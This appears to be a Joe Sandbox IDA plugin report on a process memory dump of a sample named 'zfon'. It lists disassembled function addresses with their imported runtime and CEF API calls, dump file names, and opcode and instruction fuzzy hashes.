_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E4667
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E4677
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E4687
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E4694
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E46A8

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$cef_string_map_alloc
String ID:
API String ID: 3856544966-0
Opcode ID: 8e17ec145e53769a2c641425164b26e1b6e40d98fb995a57eac84be446339539
Instruction ID: f96666cc8f02640de51253928d317ae7bbfb07f34204bf7c11bb12423b19d67f
Opcode Fuzzy Hash: 8e17ec145e53769a2c641425164b26e1b6e40d98fb995a57eac84be446339539
Instruction Fuzzy Hash: 53318F32A08B4691EB14EF65E848369B371FB88790F810135D6AD07AE9CF7DD481C7A5

Function 00007FF7F971B4F0 Relevance: 7.6, APIs: 5, Instructions: 74COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF7F971B555
cef_string_map_alloc.LIBCEF ref: 00007FF7F971B5DC
cef_string_map_alloc.LIBCEF ref: 00007FF7F971B5E7
cef_string_map_alloc.LIBCEF ref: 00007FF7F971B5F2
cef_string_map_alloc.LIBCEF ref: 00007FF7F971B600

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: cef_string_map_alloc$memset
String ID:
API String ID: 3154343008-0
Opcode ID: 225472a601b65b387531f845988a81aac3dd013bdd7c23c631c239d08109b78f
Instruction ID: 7d0ad30a399ccb4988979eb455d1bf60ba36eb455b54b7d97739cadb83a1b462
Opcode Fuzzy Hash: 225472a601b65b387531f845988a81aac3dd013bdd7c23c631c239d08109b78f
Instruction Fuzzy Hash: 20317E72618A82C2EF64DF11E8503A9A370FB98BD5F849031DA4E466A8DF3CD485C760

Function 00007FF7F971B630 Relevance: 7.6, APIs: 5, Instructions: 74COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF7F971B695
cef_string_map_alloc.LIBCEF ref: 00007FF7F971B71D
cef_string_map_alloc.LIBCEF ref: 00007FF7F971B728
cef_string_map_alloc.LIBCEF ref: 00007FF7F971B733
cef_string_map_alloc.LIBCEF ref: 00007FF7F971B741

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: cef_string_map_alloc$memset
String ID:
API String ID: 3154343008-0
Opcode ID: bce620b4b582b47963069ae1a1b446d6e6f47537035ff154e18360a55b9e623c
Instruction ID: 0359120cb07ee1127a7a887f8d51fec63cf14a2e031479c346b35c89abb346c8
Opcode Fuzzy Hash: bce620b4b582b47963069ae1a1b446d6e6f47537035ff154e18360a55b9e623c
Instruction Fuzzy Hash: 13317C72618A8282EB649F15E8503A9E370FB98BD5F849031DA9E476A8DF3CD484C760

Function 00007FF7F97189B0 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF7F9718A0F
cef_string_map_alloc.LIBCEF ref: 00007FF7F9718A94
cef_string_map_alloc.LIBCEF ref: 00007FF7F9718A9F
cef_string_map_alloc.LIBCEF ref: 00007FF7F9718AAA
cef_string_map_alloc.LIBCEF ref: 00007FF7F9718AB8

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: cef_string_map_alloc$memset
String ID:
API String ID: 3154343008-0
Opcode ID: fa3fac953ba7f5670c52880217c483c6a0cee3ff45f13c0d2ce097923e961f99
Instruction ID: 872d016b7a786da3a8c215d7fe57ed603b561b343a901bb8c9585f43565002b0
Opcode Fuzzy Hash: fa3fac953ba7f5670c52880217c483c6a0cee3ff45f13c0d2ce097923e961f99
Instruction Fuzzy Hash: 62316E72618A85C2EB64EF15E8543A9E370FB88BD4F885031DA9E476A8DF3CD584C760

Function 00007FF7F9718870 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF7F97188CF
cef_string_map_alloc.LIBCEF ref: 00007FF7F9718954
cef_string_map_alloc.LIBCEF ref: 00007FF7F971895F
cef_string_map_alloc.LIBCEF ref: 00007FF7F971896A
cef_string_map_alloc.LIBCEF ref: 00007FF7F9718978

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: cef_string_map_alloc$memset
String ID:
API String ID: 3154343008-0
Opcode ID: 8268dcab7a56983feab380dfe6f9109ee8267f72ccab6befec655a4e3f35a947
Instruction ID: 29c73497715df15b4be054f50f2cf193ab0dc679072b76fa3f5e9d14c4259c1f
Opcode Fuzzy Hash: 8268dcab7a56983feab380dfe6f9109ee8267f72ccab6befec655a4e3f35a947
Instruction Fuzzy Hash: D7316E72618A85C2DB64EF15E8503A9E370FB98BD4F885031DA9E476A8DF3CD584C7A0

Function 00007FF8B90F8E8C Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

xtime_get.LIBCPMT ref: 00007FF8B90F8EEC
_Xtime_diff_to_millis2.LIBCPMT ref: 00007FF8B90F8F08
xtime_get.LIBCPMT ref: 00007FF8B90F8F2D
_Xtime_diff_to_millis2.LIBCPMT ref: 00007FF8B90F8F3A
_Mtx_reset_owner.LIBCPMT ref: 00007FF8B90F8F4C

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: Xtime_diff_to_millis2xtime_get$Mtx_reset_owner
String ID:
API String ID: 638720424-0
Opcode ID: d059957066d422e0388afbfcbb9ff7b92e138296fa2b63c007ccbc5cfd8a943f
Instruction ID: 013cb0991809ebd8770a9c92fc2edbf56a0c73dc9afab35000962e9e5c8b7065
Opcode Fuzzy Hash: d059957066d422e0388afbfcbb9ff7b92e138296fa2b63c007ccbc5cfd8a943f
Instruction Fuzzy Hash: 3221305271898186EE15EF2FE8516BA6361BF98FC4F848031EE4E47756DE3CD5079700

Function 00007FF7F9709120 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00007FF7F9707965), ref: 00007FF7F9709169
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00007FF7F9707965), ref: 00007FF7F970917E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00007FF7F9707965), ref: 00007FF7F970918E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00007FF7F9707965), ref: 00007FF7F970919E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00007FF7F9707965), ref: 00007FF7F97091AB

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: c61b8eca7707c6acc97522e83f7ba76b893d7a39df7e64e0ba538e7a668f895c
Instruction ID: c6bb8243d03bb5a6b44a8b7e7b9259d2f45b7dc756146ac46de30394766f5669
Opcode Fuzzy Hash: c61b8eca7707c6acc97522e83f7ba76b893d7a39df7e64e0ba538e7a668f895c
Instruction Fuzzy Hash: 9E211E72A05B0991DB48AF69E89822C7376EB48FA5F804535CB2D033E8CF3CD48182B0

Function 00007FF7F96E2EAB Relevance: 7.6, APIs: 5, Instructions: 62COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF7F96E2EDE
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E2F00
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E2F10
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E2F20
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E2F2D

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$memcpy
String ID:
API String ID: 3063020102-0
Opcode ID: b7d7a0f5dd6735219fee2986d46814913f8ea3ccb4877a25bd0d6eac9163ac4b
Instruction ID: f780f56dbfbb11b733e58b3c52410d63804af641b5dcc3924c48b528f4fe82e9
Opcode Fuzzy Hash: b7d7a0f5dd6735219fee2986d46814913f8ea3ccb4877a25bd0d6eac9163ac4b
Instruction Fuzzy Hash: 6B213322A0874691FB08BF25E848328A373EB45B99F840435DA6D036DDCF7DD4D183E6

Function 00007FF7F96FE210 Relevance: 7.6, APIs: 5, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strtoul.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF7F96FE241
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96FE26A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96FE27A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96FE28A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96FE297

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$strtoul
String ID:
API String ID: 1658144056-0
Opcode ID: 94d14b2b1c7cf6c2facd01616af17b4eae40a61955ec83c18419d7b9d0e7b284
Instruction ID: 1b05f11d318c728b4d3052cb3be8628cb1897b099b5f15f0372c6e5d54a6abbb
Opcode Fuzzy Hash: 94d14b2b1c7cf6c2facd01616af17b4eae40a61955ec83c18419d7b9d0e7b284
Instruction Fuzzy Hash: 10116361A1860651EF1ABF65BC5C139B372EF89BD5F804436D67E026EDFE2CE48045B0

Function 00007FF7F96F8CA0 Relevance: 7.5, APIs: 5, Instructions: 33COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F8CB5
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F8CCE
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F8CDE
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F8CEE
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F8CFB

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: efd3d99e0a51efc82058e2233da9612c38963ae01040c96e8f0411da84b97f61
Instruction ID: c86565a3eff2e71cb8440a1ddd9ef7e04e33e924e2a8b9f96744a5a7c79ddc60
Opcode Fuzzy Hash: efd3d99e0a51efc82058e2233da9612c38963ae01040c96e8f0411da84b97f61
Instruction Fuzzy Hash: 9AF06260D0A54761F74CBFA5BC5C278A1769F447B6F800A39C63F019DCEE5C25C511B0

Function 00007FF7F96F9960 Relevance: 7.5, APIs: 5, Instructions: 32COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF7F96F8F93), ref: 00007FF7F96F9973
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF7F96F8F93), ref: 00007FF7F96F998F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF7F96F8F93), ref: 00007FF7F96F999F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF7F96F8F93), ref: 00007FF7F96F99AF
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF7F96F8F93), ref: 00007FF7F96F99BC

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 0a558ddb4e7029915ba6baf9eb4b52181b74cb87701a1e4e30068ed0fff62220
Instruction ID: 6b7b83f081ba3673c0ec7da4ff1c19994e32b2fbd134326dc6dacde15e16c3b4
Opcode Fuzzy Hash: 0a558ddb4e7029915ba6baf9eb4b52181b74cb87701a1e4e30068ed0fff62220
Instruction Fuzzy Hash: 78F0E1A0E0960765EB98BF57BD4C328A1769F047F2F950835C23D417DCED5C658542B3

Function 00007FF7F971DDF0 Relevance: 7.5, APIs: 5, Instructions: 32COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F971DE03
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F971DE1F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F971DE2F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F971DE3F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F971DE4C

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 5821015ce4819945f0a8bc57dc87e425e76cdc1b5b383618c374124c9746fd65
Instruction ID: c05303ba973c068f3d5fd46a00fd06debe8f8f1374e3ecfb65ccba8c59f9eb52
Opcode Fuzzy Hash: 5821015ce4819945f0a8bc57dc87e425e76cdc1b5b383618c374124c9746fd65
Instruction Fuzzy Hash: F5F01260E0C306E5EA48BF56BC4C22891719B18BF2F800435C12D816DCDE5C25CD8A73

Function 00007FF7F972C0A0 Relevance: 7.5, APIs: 5, Instructions: 32COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F972C0B3
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F972C0CF
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F972C0DF
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F972C0EF
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F972C0FC

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: f6d4627fd98ba14bac13975c10f1fb685cbe1d88eedefbfb9420bcdc66ef4efb
Instruction ID: f7192722fa6c26be6983130ced255d782c1602e98b1e09f577aca2094ab07273
Opcode Fuzzy Hash: f6d4627fd98ba14bac13975c10f1fb685cbe1d88eedefbfb9420bcdc66ef4efb
Instruction Fuzzy Hash: 66F08CB0E18307A4EB58BF55AC4C268A1F1DF187E2F840831C52D02ADCCE4C65C986B1

Function 00007FF7F96F98E0 Relevance: 7.5, APIs: 5, Instructions: 32COMMON

Download Yara Rule

APIs

